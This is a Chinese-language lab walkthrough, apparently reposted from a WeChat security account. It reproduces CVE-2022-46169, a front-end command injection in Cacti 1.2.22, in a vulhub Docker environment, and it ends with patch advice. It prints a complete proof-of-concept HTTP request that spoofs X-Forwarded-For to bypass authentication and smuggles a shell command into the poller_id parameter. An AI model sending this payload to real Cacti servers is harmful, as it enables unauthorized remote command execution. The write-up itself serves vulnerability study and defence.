本次使用vulhub搭建本地测试环境进行复现:
执行以下命令,将vulhub环境拉取到本地。
git clone https://github.com/vulhub/vulhub
执行以下命令,启动一个Cacti 1.2.22版本服务器。
cd vulhub-master/cacti/CVE-2022-46169
docker-compose up -d
执行docker ps命令查看容器运行状况
环境启动后,访问http://your-ip:8080会跳转到登录页面,使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化,不断点击“下一步”,直到安装成功:
这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:
选择的Graph Type是“Device – Uptime”,点击创建:
利用POC发送如下数据包:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
进入目标容器内,可见“touch /tmp/success”命令已成功执行:
官方已发布安全更新,建议升级至最新版本。
下载链接:
https://github.com/Cacti/cacti/tags
原文始发于微信公众号(第59号):CVE-2022-46169 Cacti前台命令注入漏洞简析